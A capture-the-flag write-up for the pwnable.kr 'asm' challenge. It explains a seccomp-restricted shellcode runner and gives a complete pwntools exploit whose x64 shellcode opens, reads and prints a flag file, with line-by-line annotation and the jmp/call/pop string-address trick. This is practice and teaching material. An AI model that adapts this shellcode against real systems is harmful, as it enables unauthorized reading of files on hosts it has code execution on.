Select Page
  1. Description
  2. Exploitation
  3. Shellcode Explained


1. Description

Do ssh asm@pwnable.kr -p2222 to play. Password is guest.

The challenge program is running on local port 9026.

asm@prowl:~user@computer$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

In the home directory we have a copy of the challenge program asm, its source C code asm.c, a readme file, as well as a sample flag file with a very long filename.

asm@prowl:~user@computer$ ./asm
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play ‘asg’ challenge :)
give me your x64 shellcode:

Basically we are supposed to connect to the program and send it some x64 shellcode. The program will then execute the shellcode under its higher privilege, so hopefully by sending the proper shellcode we will be able to let the program leak the flag for us.

However, restricted by seccomp, we can only use open(), read(), write(), exit() and exit_group() syscalls in our shellcode:

...
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
...

Additionally, the program adds a “prefix” to our shellcode as well:

...
char stub[] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
...

Let’s first check out what does it mean:

peilin@PWN:~/pwnable.kr/asm$ rasm2 -b64 -d -B `printf “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff”`
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15

Thankfully it is just zeroing out some registers.


2. Exploitation

This is my exp:

# exp.py
from pwn import *
  
context.update(arch="amd64", os="linux", bits=64)
# context.log_level = "DEBUG"
p = remote('127.0.0.1', 9026)

shellcode = asm("""
        jmp filename
        open:
                pop rdi
                xor rsi, rsi
                xor rdx, rdx
                mov rax, 2
                syscall
        read:
                push rax
                pop rdi
                mov rdx, 0xff
                sub rsp, rdx
                mov rsi, rsp
                xor rax, rax
                syscall
        write:
                mov rdx, rax
                mov rdi, 1
                mov rsi, rsp
                xor rax, rax
                inc rax
                syscall
        exit:
                xor rdi, rdi    
                mov rax, 0x3c
                syscall
        filename:
                call open
                .ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
                .byte 0
""")

p.recvuntil("give me your x64 shellcode: ")
p.send(shellcode)
p.interactive()

I will now comment the shellcode part and explain it a little bit.


3. Shellcode Explained

jmp filename
  
open:
; 0x02
; open(const char *pathname, int flags, mode_t mode)
        pop rdi         ; pathname = &"./this_is_pwnable.kr_flag_file..."
        xor rsi, rsi    ; flags = 0
        xor rdx, rdx    ; mode  = 0
        mov rax, 2
        syscall
; return fd of flag file in rax

read:
; 0x00
; read(int fd, void *buf, size_t count);
        push rax
        pop rdi         ; fd = whatever open() returned
        mov rdx, 0xff   ; count = 0xff 
        sub rsp, rdx    ; make room for the buffer
        mov rsi, rsp    ; buf = top of the stack
        xor rax, rax    
        syscall
; return number of bytes read in rax        

write:
; 0x01
; write(int fd, const void *buf, size_t count);
        mov rdx, rax    ; count = whatever read() returned
        mov rdi, 1      ; fd = 1 (stdout, so that we can see the flag)
        mov rsi, rsp    ; buf = top of the stack
        xor rax, rax    
        inc rax
        syscall

exit:
; 0x3c
; exit(int error_code);
        xor rdi, rdi    ; error_code = 0    
        mov rax, 0x3c
        syscall

filename:
        call open
        .ascii "./this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"
        .byte 0

I reference https://syscalls.w3challs.com/?arch=x86_64 for syscall information.

Few more things to notice: First, the (very long) file name needs to be a NULL-terminated string, but since the program is receiving our shellcode using read(), we have to put the string at the end of our shellcode, otherwise read() will stop reading when it reaches NULL and cut our shellcode in half.

So how can we put a pointer of that string in rdi, then? We call the open label right before the string, so that the call instruction automatically pushes the address of its next “instruction”, in this case, the filename string, onto stack. After we jump to the open label, we immediately pop the address into rdi, and that’s it! I learned this smart trick from this good post by Cong Wang.

Another things to keep in mind is that the return values are stored in rax.

So basically that’s it! A good chance to learn and practice how to write shellcode.